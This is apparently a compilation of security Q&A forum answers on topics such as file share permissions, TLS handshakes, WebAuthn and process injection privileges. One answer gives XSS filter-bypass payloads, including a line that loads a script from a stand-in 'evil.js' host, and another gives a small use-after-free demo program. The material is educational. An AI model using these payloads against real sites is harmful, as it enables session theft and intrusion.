If you can use your phone, the easiest thing is to save everything on the phone and do a factory reset before handing to someone else.


How do I need to secure my Windows Shares?

Q: non-Windows computer

A: When you are connecting to shares on a Windows server, you are still secured by the combined share and NTFS permissions.  The reason for this is that even a non-Windows system must use a compatible client protocol to connect and use these shares, therefore it does not bypass share and NTFS security.

Q: Why share and NTFS permissions are both needed

A: NTFS permissions secure the file system, whether the user is local or remote.  Share permissions specify what remote access is granted.  File shares use both technologies because they share resources on the file system for a remote user.  Your scenario is an overlap of both security mechanisms.  There are cases where you don't use both, like accessing files locally or sharing things other than the file system, like printers.  Though printers also have permissions similar to NTFS permissions.


Exploiting a service on 32bit OS on a 64bit processor with ShellCode

The specifics may depend on exactly which architecture pair you are referring to (e.g. amd64 vs x86 or ARM64 vs ARM) and which OS you are referring to. But generally, while the underlying hardware may be capable of executing the instructions from either architecture variation, you can't always freely run the same code across the two due to kernel and userspace constraints. I also don't think you can inject shellcode of a different architecture variant into a running process; not sure if the CPU would know how to handle that.
Regardless of the OS or processor, you should write the shellcode for whatever architecture the target binary itself is compiled for. All of the memory and code that your shellcode will have access to will be limited to whatever architecture the program is. I don't think the architecture of the OS or CPU are too relevant to the running process, as long as it is compatible. Imagine if you had an ARM32 binary running in an ARM64 emulator in an x86 VM running on amd64 hardware. The fact that the bare metal is amd64 has no concern to the binary.


Does the SSL/TLS client certificate "hash over all previous messages" step hash the entire TCP packets or just data?

It is only a hash over the TLS messages themselves, and not the TCP data.  TCP data is frequently modified in-route (think NAT, etc.) so attempting to hash that would be futile.

Without knowing more about how it's failing, it's hard to say what the cause is.  For example, if they're performing SSL MITM, then it would fail with client certificates, even if their server certificate was accepted.  Another possibility is that they're using some IPS-type device that drops unrecognized packets, and it doesn't recognize client certificate messages.

A PCAP of the session might shed more light.


What threats are posed by SSL connections?

If your intrusion detection system sees anything worth reporting while looking at a SSL connection, then it is not SSL, or is very poorly implemented. By construction, SSL is meant to provide a tunnel for confidential data, i.e. it is very opaque from the outside.

Generally speaking, SSL is not a threat, it is a protection measure against threats. In particular, it prevents evil attackers from inspecting, measuring, eavesdropping on, tinkering with, and forging the data.

Some sysadmins get nervous in the presence of SSL because it prevents them from inspecting, measuring, eavesdropping on, tinkering with, and forging the data.

The external services of Exchange are designed to be exposed to the public at large, which is why they use SSL by default, as they should be.


Security considerations when selling a printer

Some older printers actually have hard drive storage buried inside them to queue up print jobs and act as supplementary memory.  More modern printers have flash storage that serves the same purpose and has the same issue.

It appears your printer, the HP MFP M281fdw has 256 MB of Flash storage in it. You'd need to either remove the Flash storage before selling it, or figure out how to clear it.  Check your manual.

  Memory, standard 256 MB DDR, 256 MB Flash

  https://store.hp.com/us/en/pdp/hp-color-laserjet-pro-mfp-m281fdw


Is there a way of determining if tor is running on a remote machine?

Tor in its default installation only opens the SocksPost locally. There are no ports which are listening at some network interface. So from looking at a remote machine you can't find out if a person uses Tor or not.

However when you're looking at the machine's network traffic you are able to see more. If the user has Tor running there is a connection to some relay. It is easy to find out all addresses of running relays and look if the user connects to one of those.

I think it is the wrong approach to consider them naughty. There are many reasons why using Tor is a good idea.


For one, it allows the boot loader and the OS to be produced and patched independently by different vendors. For example Intel and Microsoft.

Also, having a separate signing key for each product generally makes revocation easier; if for some reason you need to revoke or re-issue the key, only one product is affected.


How to find the RSA file cipher algorithm?

OpenSSL supports the older "traditional" or "SSLeay" key formats and the more secure PKCS#8 format. openssl rsa command works with the traditional format and openssl pkcs8 command works with the pkcs8 format. The pkcs8 command can convert between formats.

Files with -----BEGIN RSA PRIVATE KEY----- are in the traditional format and files with -----BEGIN ENCRYPTED PRIVATE KEY----- are in the PKCS#8 format.

In the traditional format, the file has a header like:

Proc-Type: 4,ENCRYPTED
DEK-Info: AES-256-CBC,DF92177B22C9D06622FF3FEC3491C204

and everything else is encrypted.

The PKCS#8 format is ASN.1 and so you can use any ASN.1 parser to read it, for example:

$ openssl asn1parse -in encrypted.pkcs8.pem

    0:d=0  hl=4 l=1325 cons: SEQUENCE
    4:d=1  hl=2 l=  87 cons: SEQUENCE
    6:d=2  hl=2 l=   9 prim: OBJECT            :PBES2
   17:d=2  hl=2 l=  74 cons: SEQUENCE
   19:d=3  hl=2 l=  41 cons: SEQUENCE
   21:d=4  hl=2 l=   9 prim: OBJECT            :PBKDF2
   32:d=4  hl=2 l=  28 cons: SEQUENCE
   34:d=5  hl=2 l=   8 prim: OCTET STRING      [HEX DUMP]:51A5F9E6AA2874EF
   44:d=5  hl=2 l=   2 prim: INTEGER           :0800
   48:d=5  hl=2 l=  12 cons: SEQUENCE
   50:d=6  hl=2 l=   8 prim: OBJECT            :hmacWithSHA256
   60:d=6  hl=2 l=   0 prim: NULL
   62:d=3  hl=2 l=  29 cons: SEQUENCE
   64:d=4  hl=2 l=   9 prim: OBJECT            :aes-256-cbc
   75:d=4  hl=2 l=  16 prim: OCTET STRING      [HEX DUMP]:98228059794F6B60E616AA7C2E80A625
   93:d=1  hl=4 l=1232 prim: OCTET STRING      [HEX DUMP]:E7913261B9FA2C4C916581FA21B317E710727C5952D815997C039CF5D5C7F1DF86E44FB9A4BD47DF6303A73EB858F94CB548FA2BA220DEDD02CC7643257BC8F67684183C89BD18744B93DE11C0F76C0E71C2AFBE85DA3F60932CEF0377563A74F8C01A7C2A701F095A79A8711BF238AE52F511CD3915D159AD79426FDFDEB042069F0D58D5673BC64CAD56E00C74F267F77B6138639549BE2F76CBFE2EA1F86DBAC7791EE0F5E90E192985A647CF3ECC71A34F4B9B0818FE22DA8435A97D8D643986ED349730B83D81EE2AE1A2B6BCCF8580D0EDD119912562D1631BD1217DE76AF25CDCBBDC4452FB9D5482BC64759622215B3B51231F98757ED12933DC0D6F0DD9139A5D3F3237E388DBE8BD8873AE6EC0635274084858FB5E8A7CE1439C5A4505521263DE8425932ADDE91A0AAC187855BA2754A1125653FC2714AB04890972D675A73F00689D870CC8A2F4E505A55A7EB9319D3F56FF1A197E91AE56218280A13E4FF08499AFAB9F5005C022D85B437F414255E9355F10733A92E95307B25AAF15579EE343F925A83C62439D73A30FB8C6843BD83C0AFBB3C3FB4BC439BCDE168F7BD52A4953C968FAE4763DC9472E2B95BAA84EC4BAB3CA89CBBE8B2E539BAF3F86B4C27747ADB45F7AEB59ADB3FE675682D7F5BFEFD06AE27A280CDDC831B24C4D25E0C9D4CDCDF6FB62AF7FF482468506816A29019275DBA901ED5A86864DD170EA773E7BA102E90D325884D20D816CF60B9A4FBF5CE612F7A7787A52488440F95B551FE31911FC09926C2D928FA03C604B322B1384F5AA31C0D60205798125FA98E3F45F6AC6D72F9382992A9206E124764C2FDCB8735C8D06A323EC8B0F0C4A2C5C78C44014FBB2E34B56B3322641D21197256DCEC04FF79410FEA0A07AC67F3CA5AED086276744956468633B5419F0F6A077ECDC070E8F4AF82DD51E8F3180A3B5A966B806B6F42C2727678DC5BAD2982EE5FFEB009BFAF84F9F32E40C07370699D7CB07E98BA78C60E83C3468074C389EF35C60C949301869D4295C8DA6F2CDBB9AC5B483BD7D2B23E0E950BAD37F07F27A7C16102A1692AC87B9CC9CB18AD7A63EBFD5C9A2FB7E22BAC2C73A7D20AF1874578CEA504E809C34F0EFA216A655D447BED8BA40FBA26B7ADFE14566F6696BE1CA0FCFE04DF4B84DEE6DD83FC71AB619E8D9287A7DA6501012A7ED962D5E6DF0800902F81AB17C6DFF761C5B2B4F6A59058C93F4BE5F48FCCCF59EBF3009121961BE3BE80BB7BD4416427BCBD28B1432294B811A3619ECFABC036891912C16AFF38AA778E7287ACD96C098B226D1F4482555EA0116BDE6F3DF86AD623C6898AD2752C4E3023EEF36A6F05C8698007099B3D6FF6A9A9E15700FCFE7165DB5FBDD26E4641AD86276303186BA70E1402DBD025A8DFD5652867B1407D664F47A0D5C30B25B45B64E2C26D372C76CEDB004D81FE10ECD051B5DFFFBB76D0D9D5C2803B6672EABCF615C8797926679E127A99CB24327044CFD140586ED77957B4A6E62F61F0D70C83768C8775AC9955097EFAA93AD1D610DFC5593B00F19285305F15C8734DCBC0BD789F169A7B31F536E2A4083510B8C7419FC7E732754F6C380DA2C101F3DD8A75CFD0A96042619B5BEFEBDE88A2AC19671FBC521563CF255446428C0F7AD2D411C88E6DA8BF7DD560A504853AA966843C43B2731A1AA498D4278E83FA1F913A71154D575BD6309213B1F4617986BE1566255B369

The data in PKCS#8 wraps a PKCS#5 payload.

We see PBKDF2 with salt and number of iterations and KDF (PRF) function, and we see AES-256 in CBC mode with an initialization vector.


Central Authentication Server for SSH and Web wanted

I think you should look at OpenSSH Certificates. With certificates you can have one central key (the CA) to give access to multiple servers. There is multiple guides out there on how to do this.

Here is one from digitalocean: https://www.digitalocean.com/community/tutorials/how-to-create-an-ssh-ca-to-validate-hosts-and-clients-with-ubuntu

I have also written a guide on how to do more fine grained access control using ssh certificates:
https://framkant.org/2017/07/scalable-access-control-using-openssh-certificates/


Seeing outboud connections to random domains, how do I isolate the app responsible?

Fiddler does show which process the connections originate from.


Public and private classes are just concepts inside a programming language which help with design by distinguishing between internal implementations (i.e. private) which can change all the time and public API which should be mostly constant. They are not a security concept but a design concept. It is also possible to bypass these "restrictions" depending on the programming language, for example with reflection in Java.


Network configuration: Preventing my computer being used as a proxy?

Your question of why the forward rule doesn't work is essentially a networking question, so I'll explain using an analogy. Imagine there are three people involved in the sending of a letter - Alice, Bob, and you. Alice wants to get a message to Bob, but using you as a middleman (proxy). Alice could use one of two techniques:

Method 1: Write a letter containing the message, stick it in an envelope, and address the envelope to Bob. However, instead of giving the envelope directly to Bob, she drops it off on your doorstep. She hopes you'll be kind enough to find it, recognize that the envelope isn't addressed to you, and find Bob to give it to him.

Method 2: Write a letter, to you, that says: "Can you find Bob and tell him [message]?" Stick the letter in an envelope, and address the envelope to you. You (or perhaps the Hola app running on your computer) open the envelope, read the letter, and tell Bob the message.

Firewalls are rather dumb, in that they can only understand basic information like Source IP, Destination IP, port, and some other bits of metadata. They can't actually understand the contents of the packets. It's analogous to only being able to look at the outside of the envelope, without being able to read the letter inside. So even though both of the above methods would result in the same outcome (in essence, Alice getting a message to Bob using you as a proxy), the forward chain only recognizes the first one as forwarding. As far as the firewall is concerned, in the second case Alice and you are the only parties involved in the conversation. It has no idea of Bob's involvement, as it would need to "read" the letter to know that.

As far as blocking Hola, it seems that Hola traffic can be detected, but you'll need a tool that can "read the letter," so to speak, by performing deep packet inspection and application layer filtering. Usually this is accomplished using an intrusion detection system as opposed to a basic firewall, and I suspect it's how your uni is blocking Hola. If you don't want your computer used as a proxy, your best bet would be to just not use Hola.


Can a data requester get the sender when "Sealed sender" is enabled in Signal?

In the blog post about the new feature, Signal says:

  Message contents are end-to-end encrypted with the Signal Protocol as normal, but the “envelope” containing the sender certificate as well as the message ciphertext is then also encrypted using the sender and recipient identity keys:

The feature is designed to hide the sender of the message from plain view, and leaves this inside the encrypted envelope, so only the recipient and sender can know who actually sent the message.

So yes, it disallows Signal from knowing the sender of the message, yet allowing the recipient to know.


Optional : Encrypt all the data to keep a more advanced thief with different goals to access your data.

This is not optional, encryption is the #1 must have. I assume that you care about keeping your device secure because you want to keep your data secure, over making it harder for the thief to take use of the phone. If it's stolen, it's stolen, most likely you will not get it back, even if you could somehow track the thief with these applications, law enforcement will not be fast enough to catch whoever stole it and you wont go down the rabbit hole by yourself.

Also there's no bulletproof solution for preventing the manual reset of everything on the phone.

A professional thievery scenario looks like this:

the phone is stolen, the battery and sim card get instantly removed
if it's not possible to remove the battery in place, the phone is wrapped into some kind of insulation or put in a metal container
the device is taken to a well insulated place (possibly some cellar, again tested for no rays coming in and out)
it is disassembled in place, or the kernel gets reinstalled in place

Be vigilant and don't get your phone stolen. That's the best advice I can give you, and of course if storing sensitive data on the device, encrypt it (not with some fancy google play application), you should enter the decryption key on boot time.


Is it secure to show admin pages only on certain host?

$_SERVER["HTTP_HOST"] is unsafe, as it relies on the HTTP request - meaning it can be manipulated by the client.

You should implement a basic login system for this (or use Apache's folder protection)


OS X Firewall Block all incoming Connections Affecting Software Updates?

Those will not be blocked. Connections initiated from the outside ('the internet') will be blocked. However, connections initiated by your Macbook (like a check for software updates or just opening a website) will be allowed by the firewall.


Assume, the HTTP header says that the key pin is valid for 60 days (max-age). Where is it saved? When I delete my browser history and cache every day, is HPKP pointless then?

That will depend on the browser. There are usually several "stores" you can clean, but you should contact your browser vendor about how to do this / request a way to clean history and cookies but not key pinnings.

(Note that depending on your goal, it may be dwarfed by pinning. If you just want to avoid being fingerprinted by the company, that pinnings are kept shouldn't be an issue for now¹, but if you want to conceal that you accessed a web site, and a pinning for it is later found in your computer…)

  Assume, I am on a website that supports HPKP and the HTTP header says that the key pin is valid for 60 days. Now, when I visit the website after a week again and the HTTP header is still the same, then it's valid for 60 days once more, right?

That's right.

¹ It is possible to abuse it to expose visited sites or even work as a supercookie, though. See the slides for the Sniffly attack at
https://zyan.scripts.mit.edu/presentations/toorcon2015.pdf


Ettercap has options to inject into an html stream. You could also use proxies.


The server sends back a header stating it requires authentication for a given realm. The user provides the username and password, which the browser concatenates (username + ":" + password), and base64 encodes. This encoded string is then sent using a "Authorization"-header on each request from the browser.
Because the credentials are only encoded, not encrypted, this is highly insecure unless it is sent over https.


Can clients execute my python CGI at will?

If a user's browser is able to call (send HTTP request to) your Python scripts (with or without AJAX), then assume that an authenticated user will be able to send custom HTTP requests, including whatever variables (parameters) they want.

Always assume that not only your users are able to see your JavaScript code, but they're also able to modify it, override it, or completely disable it.

Putting your HTML, JS, or Python files in the same folder (directory) isn't a problem. But I'd advise you to move your scripts that contains sensitive information (like your database credentials) above your public_html directory (your www root).


What are the benefits of using WebAuthn?

WebAuthn essentially protects against phishing.
An attacker can create a fake website (of your bank, for example) and convince you to enter your password on the fake website. Then, the attacker can freely replay it to the real website of the bank.
Same applies for SMS One-Time Passwords (often used as a second factor). For instance, an attacker can impersonate an employee of the bank on the phone and ask you for the SMS code you've just received.
WebAuthn registration bounds the credential to the domain name of the legitimate site. An attacker, which doesn't own this domain name, cannot in any circumstance get a valid WebAuthn authentication response (and replay it on the legitimate site) from a fake website because of that.


How does malware performs a UDP hole punch?

I want to know how do malwares like ZeroAccess hole punch the network without using a external server?

ZeroAccess uses a P2P structure with no single central server. While most of the nodes can be behind a NAT some super nodes need to be not behind a NAT so that they can be reached from the other nodes (behind NAT) and relay communications. That means the nodes behind NAT simply open a connection from inside to any of the external super nodes and using this connection data can be sent back to the node. This is  the usual way of how P2P networks work and not specific to ZeroAccess.

This paper from Sophos describes ZeroAccess and their communication model in more detail.


How can an attacker downgrade/modify the cipher suites when they are MACed? (Freak, Logjam use downgrade attacks)

After reading some docs I finally can answer my own question.

Basically I had a misunderstanding.
It is important to know the "TLS Record Protocol". This protcol is the base of TLS and is always used. At the beginning for the Handshake and at the end when the Handshake finished and the data is transmitted over TLS (when using HTTPS this is HTTP).

(taken from the German Wikipedia article on TLS; CC-BY-SA 3.0)

However at the beginning there is obviously no encryption or HMAC the client and server can use to secure the exchanged messages as they have not agreed on using a cipher yet (this is done in the Handshake).
So they have to use a cipher without any encryption and integrity protection. This is TLS_NULL_WITH_NULL_NULL.
After the record layer is initialized with this cipher, which basically offers no protection, the handshake can begin.

So the hello messages of client and server are therefore unprotected and an attacker can tamper with them.
To protect the whole process the Finished messages (which are exchanged at the end of the handshake) contain a hash (HMAC) of all previous sent messages and therefore allow client and server to verify the integrity of these messages.

In SSL 3.0 up to TLS 1.1 a combination of MD5 and SHA-1 is used. In TLS 1.2 the HMAC defined in the cipher is used. Further details are explained here.
The issue is that the key used in the HMAC and the HMAC itself can be weak. E.g. could the HMAC be using a MD5 hash (as in the SLOTH attack against TLS 1.2).
This was also explained by the discoverer of the SLOTH attack (specifically look a slide 8).
They conclude:

  The TLS downgrade protection mechanism
  itself depends on downgradeable parameters.
    - hence, the only fix is to find and disable all weak
  parameters: groups, curves, mac algorithms,...

How the downgrade attacks on EXPORT ciphers work in detail is explained in this answer.


Privileges needed to perform process injections

Do not think of privileges in terms of users accounts here, the permissions that are required are SeDebug. SeDebug is granted to the administrator / root account the the account the process is running under.

As a normal user you are not going to be able to inject into a process running as SYSTEM. As an attacker you are only going to be able to initial inject into a process same context.

Process hollowing you start a thread as an initial process but in a paused state. You then clear memory and replace it with a process that you want to hide. The entire time you have control of this process, you're just hiding another one under the guise of the original.

Dll hijacking requires you can create a folder and write a binary to disk - as the path will be loaded by the calling process when its searching for libraries to load. So potentially if this is a service you will need permissions to start/stop it.


There's a number of potential methods you can use to differentiate bots from humans but none of them are likely 100%

Obviously as you say rate limiting catches the really stupid bots who don't know to click at human speed. You could say one click per IP but that will artificially deflate your stats in the case of humans behind a proxy (becoming more common as IPv4 addresses run out)

IP blocking isn't too useful in the days of cloud computing, it's pretty easy for an attacker to get a different IP or range of IPs to work from if they're dedicated enough.

As @fas says you can try user agent, but again that'll only catch bots who don't know how to set a user-agent which isn't really too difficult to do.

You could introduce some "computer hard" task into the clicking process but that would make your site pretty user unfriendly (e.g. CAPTCHA's). Again not 100% but harder to overcome trivially.

Ultimately I'd suggest it depends on how motivated/well funded your attackers are. If they are reasonably motivated and have some cash they can just hire real people to click the link (e.g. via amazon mechanical turk), at which point you're likely going to find it tricky to differentiate legitimate traffic from non-legitimate traffic.

Assuming your attackers are more casual about it, I'd say combine User Agent and source IP address.  User Agents can actually be relatively identifying (more info on the panopticlick site ). So if you limit each user agent to one click per source IP address you may get a decent approximation, against an relatively unsophisticated attacker.


What do the Disabled and NotBefore properties do for root certificates on Windows 10?

These properties are well documemted on this MSDN website.

Not Before

Certificate not valid before this date.

Disabled

Certificate can be re-enabled, rather than reinstalled.

I assume you are a developer who wants to implement current updates, so here comes example for Visual Studio.


Looking for a Meterpreter binary for android

you could try drozer by MWR Labs. it's pretty much meterpreter. it can be a little hard to get the hang of at first, but i'm pretty sure it'll do what you want. it does require an .apk install though.


I don't understand what's wrong with just using cookies for authentication?

The scheme you describe is potentially vulnerable to cross site request forgery (CSRF).

An malicious request could be made on behalf of the user. This request would send the cookie which would pass the authentication checks, and perform any activity the user could themselves.

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

If you look at the link above to the OWASP article on CSRF it specifically lists secret cookies as an invalid mitigation technique.


What are the cons of dhcp snooping, dynamic arp inspection and ip guard?

TL;DR - They are safe to use, but, it depends in the configuration and implementation of your solution (as you noted - the dhcp binding table could become a problem, since IP source guard and ARP Inspection are relying on it).

DHCP Snooping with ARP Inspection

ARP Inspection and DHCP Snooping are great combination together ("supercouple").

As long as you whitelist the trusted ports in your switch, use ARP Inspection (that will prevent MAC spoofing) and correct static DHCP binding table, you will be pretty safe.

Why is that?

ARP Inspection will keep that no one could spoof his MAC
DHCP binding table - the ARP Inspection uses the DHCP binding table, by validating the MAC and the
Whitelist the trusted ports will keep the devices under the switch safe from other machines that are trying to pretend as DHCP servers

DHCP binding table and IP Source Guard

Just as with the ARP Inspection, also this solution relies on the DHCP binding table.

General Tips

If you have a lot of "temp" users in the network, use a short lease in your binding table (as you have mentioned, the table is limited)
In order to use ARPI or IP Guard, you have to activate the DHCP snooping (and in general, use all three of them together).


I don't see how "-salt" in the openssl command line tool enhances security at all

The point of the salt is to prevent precomputation attacks, such as rainbow tables. Without a salt, anyone could just generate a huge dictionary of hashes and their associated plaintexts, and immediately crack any known hash. With the salt, such a dictionary is useless, since it's infeasible to generate such a dictionary for all possible salts.

I did a pretty in-depth writeup that covers this problem over at How to store salt?, which is worth a read.


Should a backup server be on a separate subnet / vlan from other machines on the network?

The reason for backups is to add redundancy, allow for business continuity and disaster recovery. Having the backup server on a separate VLAN and having access controls around it is also a good idea. From a network and security architecture point of view all servers should be on separate VLAN from clients ideally with a Firewall in between, it makes sense to take this a step further and give your ‘crown jewels’ (i.e. potentially valuable, business critical data) an extra layer of protection.

Network segmentation could potentially contain malware outbreaks and/or limit how far an attacker can pivot around the network. From this point of view alone it is sensible to contain your backup server.

You should only allow exactly what traffic is required, no more or no less. This goes for protocols, routes etc. In the same vein you should only allow the for the minimum administrative controls as well, for example any users that look after the backups should only have backup rights rather than full domain rights.

Remember however that is the fact that clients are backing up to the server in the first place means that there is some kind of communication between clients and the server. This maybe via CIFS, SMB, a management protocol etc. So there is still a residual risk if even if configured or protected correctly.

Ideally you want to go further than this and have off-site backups if possible as well as offline backups stored in a secure location with appropriate controls protecting against physical destruction.


Same User, Different Access Points, different passwords?

Why do you have a password policy in the first place ? It is to avoid passwords which are "too weak" (in the sense of: "too easily guessed"). Do weak passwords suddenly cease to matter on the Web site just because the very same username+password also provides access to the back-end application ?

If the password policy on the Web site is to make any sense at all, then it must apply to all passwords which work on the Web site.

On the other hand, a stricter policy for the back-end than for the Web site may make sense: passwords which grant access to both are, technically, "more powerful" passwords, so it is conceivable that they should be "stronger". But that's a hand-waving argument.

My advice is the following: if the Web application and the back-end application grant access to the same data, then the password policies should be identical for both. I.e., enforce the stricter rules everywhere. If you can force customers to follow these rules, then surely you can do the same with employees ?


Why is it a problem to store strong passwords as unsalted hashes?

Such strong passwords can be safely stored unsalted with a fast algorithm like SHA256, there is no problem in that.

The problems are different, you have to trust the client, the secure transportation to the server, and you have to make sure that the generated passwords are indeed unpredictable.


Does a working JTAG diagnostics port on Android phone add unnecessary risk?

No.
There's something to be said for the fact that if you "own" a machine, then you own it. Physical possession of a piece of hardware with the ability to disassemble, modify, and otherwise physically hack the device very nearly guarantees that with enough work you will be able to get around security measure that might be present.
So, no, JTAG is no more troublesome than a USB port, or exposed RAM leads, or a desolderable flash chip.
EDIT

I can't understand why fundamentally disposable mass market consumer devices need a working test instrumentation port

JTAG is useful for more than just development testing. It's also used by repair technicians to fix phones that have firmware damage that makes software-based tools unusable. Including JTAG support in the production device lowers the maintenance/repair cost to the carriers who tend to be responsible for maintaining and fixing these devices on behalf of the customer. And lowering cost is always a worthwhile goal for the provider.


How do I make a working example of a "Dangling Pointers" exploit? (or where do I find it online)

I just wrote a very simple example for demonstrating one possible form of dangling pointer vulnerability. You can directly run it and type "aaaaaaaaS" to reach the goal statement. Hope it would be helpful.

int main(){

    char* data = (char *)malloc(32); // Assuming that the 9th char is critical...

    data[8] = 'L';

    printf("data buffer at address %x\n", data);

    /*  ...
     *  some complex program code here
     *  ...
     */
    free(data); //the data buffer could be accidentially freed.
    /*  ...
     *  some complex program code here
     *  ...
     */

    /* Here, the allocator could allocate the chunk of data buffer for the input buffer.
     * Whether this will happen depends on multiple factors (allocation algorithm,
     * the size of the buffer, etc.). For example, if you set the input buffer with
     * size 64, this might not happen because the allocator will use a new chunk
     * instead of reusing the old one.
     */
    char* input = (char *)malloc(32);

    printf("input buffer at address %x\n", input);

    /* Assuming that the attacker can control the input. Now, the attacker can
     * type aaaaaaaaS to write char 'S' to the critical space.
     */
    scanf("%s", input);

    /* The dangling pointer is used here to do a critical operation.
     * Note that this bug might be hard to find because it will
     * almost never trigger a crash.
     */
    if(data[8] == 'S'){
        printf("Pwn!\n"); // This is the goal of the attacker
    }else{
        printf("Pew!\n");
    }

    return 0;
}


On two-step login forms, why is it the login name and not the password that's asked first?

A lone password is not necessarily verifiable by itself. In particular, if the server does things properly, then it stores not the passwords themselves, but the output of a password hashing function computed over the password. A password hashing function (as opposed to a mere hash function) includes some extra features, including a salt (for very good security-related reasons). Verifying a password then requires knowledge of the corresponding salt. Since the salt is instance-specific (the point of the salt is that distinct users have their own salts), the user identity is required (the user identity is used as an indexing key for the salt).


How to perform penetration testing on a Flex application?

Besides the obvious resources:

http://www.tssci-security.com/archives/2010/03/18/pentesting-flex/
http://deblaze-tool.appspot.com

there are also many important concepts to keep in mind while testing:

AMF must be dealt with
Flash files may be involved, so decompiling, statically analyzing them, and reviewing their code is paramount -- including dependencies and extracted links or references
AMF parameters sometimes map to mid-tier (or backend) XML- or JSON-formatted code with Javascript/Actionscript behavior. You may need a spec or the source code to provide more details on the interaction -- or a complex fuzzing proxy. Consider IAST-led penetration testing with Quotium Seeker, Fortify SecurityScope (especially the auto-generated REST WADL technology), or Contrast Security


Where should I go from here to be a pentester?

Sans has a Web Penetration Testing and Ethical Hacking: Capture the Flag class you might be interested at https://www.sans.org/security-training/web-penetration-testing-ethical-hacking-capture-flag-day-6-13632-cid

There are some capture the flag sites that you might learn from using

http://hax.tor.hu/
https://pwn0.com/
http://www.smashthestack.org/
http://www.hellboundhackers.org/
http://www.overthewire.org/wargames/
http://counterhack.net/Counter_Hack/Challenges.html
http://www.hackthissite.org/

A larger list can be found at http://captf.com/practice-ctf/

I have done one of the certifications at http://www.securitytube.net/ and found it very useful. They also have videos available that will teach you different skills.

I would also recommend getting some credits at http://www.safaribooksonline.com/ and using them to cycle through some good books.

such as
Hacking the art of exploitation
Shell coders handbook
Reversing
Metasploit: The Penetration Tester's Guide


Terminate a javascript without "continuous" < and /

In much more complex cases I personally like to collect all experimental results (like you did) which I found through manual testing, sit down and try to implement such filtering locally and try to bypass it with different browsers and browser versions. Additionally you need to know in which programming language was written this web application - it might be useful because it would give already an idea which filtering functions or frameworks were (probably) used. Here I already might get an idea how to bypass it.

Here is a small PHP script where I try to reconstruct given scenario:

<?php

$t = $_GET["t"] ?? "";

function filter($input) {
    $input = addslashes($input);
    $input = str_replace("</", "<\/", $input);
    return $input;
}

echo filter($t);

?>

So addslashes() additionally filters nullbyte, ' and \. So I have even more restrictions than given.

I assume that singlequotes are filtered too (e.g. in PHP you need to set explicitly the flag ENT_QUOTES to escape singlequotes in function htmlspecialchars() but on the other hand addslashes() escapes both singlequotes and doublequotes), but if not it's then even easier to exploit.

Now, instead of using:
you could simply use:  or <svg/onload=alert(42)>
(you could import JS script like this: appendChild(createElement('script')).src='host/evil.js')

Here we completely avoid </.

Tested on Firefox 68.0.1 (64-Bit).

Now if we are in the case <someHtmlTag> FILTERED USER INPUT HERE </someHtmlTag>:

<?php

$t = $_GET["t"] ?? "";

function filter($input) {
    $input = addslashes($input);
    $input = str_replace("</", "<\/", $input);
    return $input;
}

echo "<someHtmlTag>".filter($t)."</someHtmlTag>";

?>

It will still work if we have something like
<?php echo filter($_GET["input"]); ?>
. You will get:

 and XSS will work. If we have , then you could just put your JS code without any html tags at all and it will work too.

On the other hand if you have something like <?php echo filter($_GET["input"]); ?>, then it would create indeed a problem since we are forced to break out of  with  by using </ (and we cannot since it is filtered). Similar problem would occur if your user input will be put inside noscript tags: <?php echo filter($_GET["input"]); ?>. Such special cases I would consider as probably unexploitable but there still might be ways to bypass it by using e.g. some browser bugs.

It is still worth trying to use double URL encoding (%253c = <) or to use hex encoding (\x3c = <) or to use multibyte characters.

I got NO alert box (user input = ) for following html tags where we have:<htmlTag><?php echo filter($_GET["xss"]); ?></htmlTag>, where htmlTag is:

title
textarea
template (needs to be activated and get your XSS)
select (exploitable with input=<option value=42 onclick=alert(42);>a and get your XSS)
noframes
iframe
frameset (exploitable with input=<frame src=javascript:alert(42);> and get your XSS)
noscript
style (we can put our own CSS here and steal CSRF tokens)
script (we can directly put JS code here and we have XSS)

So I will consider cases like <title> FILTERED USER INPUT </title> unexploitable because you can't bypass </ because it gets converted to <\/. (Input like foo.php?xss=<\/ will be changed to <\\/ and make it useless too).

It still might be somehow exploitable by so called mutated XSS where browser fixes manually some broken HTML and introduces a bypass to some filter mechanisms. But I didn't test it further.

Browser HTML mutation example (without using additional JS libraries):

http://localhost/t.php?w=template&t=<template title=""

Server returns this HTML code: <template><template title=\"<\/noscript>\"</template>

And my browser Firefox 68.0.1 (64-Bit) creates this:

As you can see here my browser sees that <template> tag isn't closed properly and closes it with </template> (so it bypasses the </ server side filtering mechanism because it happens in the browser on the client side) by himself, so we get a <template> inside another <template> tag.

Further reading:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (several methods how to bypass certain filters)
https://www.lifewire.com/html-singleton-tags-3468620 (here is a list of several HTML tags where you don't need closing tags (and don't forget about svg tag))
Fuzzing Browsers for weird XSS Vectors (LiveOverflow)
Huge list with different exploitation methods: https://html5sec.org/


Can a hashing function be implemented insecurely?

Unlikely
First of all, the implementation of a hashing function could be faulty in terms of software engineering. That doesn't mean the implementation is insecure per se, but means that you are not returning the expected values according to the specifications.
N=10 test cases is a ridiculously ridiculous amount of testing to certify that a hashing function is ready for production. I am currently speaking about software engineering, not yet security
A concrete example

sha256("Hello Stack") equals 433247cccfd4105b7b60e810e372f3850ba4e518eb5fb0474e198228ddaabf65

Wherever in the world you are, that is the universal hash of that string. The security properties of sha256 are defined in the hash's specification.
If you have a faulty implementation, then it will have to return something necessarily different.
Now suppose for a second your sha256 does the following

yourSha256("Help Stack") equals 433247cccad4105b7b60e810e372f3850ba4e508eb5fb0474e198228ddaabf65

That's basically not sha256, because the correct value is 74aec9297f627396b3914f1a58213dada3ec30b0ed0cc5dafb029d0f326e2ec7
What I am saying is that in the world of hash functions, the properties of uniqueness and randomization have to be demonstrated at specification level, and they apply to the hash's specification. Any code that returns value other than the expected hash is not a correct implementation of the hash.
A bug comparing the hashes
So you have function H(x) that is deemed secure. I won't discuss further. Then you have two implementations org.acme.H (yours) and com.initech.H (another vendor's).
You must integrate two systems so that they compute and exchange hashes.
H is secure by definition, but Acme is faulty. That means on the 11th test case it is returning results different than Initech. That will mean whatever interaction between the systems will be inconsistent and/or failing. e.g. the two system use such hash to checksum a file, but since they yield different values they consider the file out of date.
So far, that's not a mere security problem
Exploitable faulty implementation
If you rely on that hash heavily and use it for security purposes, and have no other implementation from any other vendor, you might have vulnerabilities.
E.g. if your faulty hash code starts to return predictable values, an attacker can discover (part of) the plaintext after a number of similar-text attacks.
That is not a problem with the hash definition, but it's the binary code not returning the correct value. Simply because you are not using secure H(x), you are using trash(x) where trash is a brand new weak function.
Other considerations
